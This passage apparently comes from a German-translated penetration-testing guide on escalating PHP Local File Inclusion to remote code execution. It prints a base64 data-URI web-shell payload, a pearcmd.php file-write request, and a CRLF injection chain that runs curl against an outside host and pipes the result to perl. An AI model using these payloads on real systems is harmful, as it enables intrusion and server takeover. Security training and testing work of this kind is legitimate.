2. Nach der Injektion nutzen Sie die LFI, um die Serverprotokolle von _**/var/log/vsftpd.log**_ abzurufen.
### Via php base64 filter (using base64)
Wie in [diesem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) Artikel gezeigt, ignoriert der PHP base64-Filter einfach Non-base64. Sie können dies verwenden, um die Überprüfung der Dateierweiterung zu umgehen: Wenn Sie base64 bereitstellen, das mit ".php" endet, wird das "." einfach ignoriert und "php" an das base64 angehängt. Hier ist ein Beispiel für eine Nutzlast:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (no file needed)
Dieser [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass Sie **php-Filter verwenden können, um beliebige Inhalte** als Ausgabe zu generieren. Das bedeutet im Grunde, dass Sie **beliebigen php-Code** für die Include **generieren können, ohne ihn** in eine Datei schreiben zu müssen.
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
### Via segmentation fault
**Laden Sie** eine Datei hoch, die als **temporär** in `/tmp` gespeichert wird, und lösen Sie dann in der **gleichen Anfrage** einen **Segmentierungsfehler** aus. Die **temporäre Datei wird dann nicht gelöscht** und Sie können danach suchen.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Via Nginx temp file storage
Wenn Sie eine **Local File Inclusion** gefunden haben und **Nginx** vor PHP läuft, könnten Sie mit der folgenden Technik RCE erhalten:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
### Via PHP_SESSION_UPLOAD_PROGRESS
Wenn Sie eine **Local File Inclusion** gefunden haben, auch wenn Sie **keine Sitzung** haben und `session.auto_start` auf `Off` steht. Wenn Sie den **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten bereitstellen, wird PHP die **Sitzung für Sie aktivieren**. Sie könnten dies ausnutzen, um RCE zu erhalten:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Via temp file uploads in Windows
Wenn Sie eine **Local File Inclusion** gefunden haben und der Server unter **Windows** läuft, könnten Sie RCE erhalten:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
### Via `pearcmd.php` + URL args
Wie [**in diesem Beitrag erklärt**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), existiert das Skript `/usr/local/lib/phppearcmd.php` standardmäßig in PHP-Docker-Images. Darüber hinaus ist es möglich, Argumente über die URL an das Skript zu übergeben, da angegeben ist, dass, wenn ein URL-Parameter kein `=` hat, er als Argument verwendet werden sollte.
Die folgende Anfrage erstellt eine Datei in `/tmp/hello.php` mit dem Inhalt `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
Der folgende Missbrauch einer CRLF-Sicherheitsanfälligkeit ermöglicht RCE (von [**hier**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### Via phpinfo() (file_uploads = on)
Wenn Sie eine **Local File Inclusion** gefunden haben und eine Datei, die **phpinfo()** mit file_uploads = on anzeigt, können Sie RCE erhalten:
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Wenn Sie eine **Local File Inclusion** gefunden haben und Sie **den Pfad** der temporären Datei **exfiltrieren können**, ABER der **Server** **überprüft**, ob die **einzuschließende Datei PHP-Markierungen hat**, können Sie versuchen, diese **Überprüfung zu umgehen** mit dieser **Race Condition**:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### Via eternal waiting + bruteforce
Wenn Sie die LFI ausnutzen können, um **temporäre Dateien hochzuladen** und den Server die PHP-Ausführung **hängen** lassen, könnten Sie dann **Stunden lang Dateinamen bruteforcen**, um die temporäre Datei zu finden:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### To Fatal Error
Wenn Sie eine der Dateien `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` einfügen. (Sie müssen dieselbe Datei 2 Mal einfügen, um diesen Fehler auszulösen).
**Ich weiß nicht, wie das nützlich ist, aber es könnte sein.**\
&#xNAN;_&#x45;ven wenn Sie einen PHP Fatal Error verursachen, werden die hochgeladenen PHP-Temporärdateien gelöscht._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## References
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
{% file src="../../images/EN-Local-File-Inclusion-1.pdf" %}
{{#include ../../banners/hacktricks-training.md}}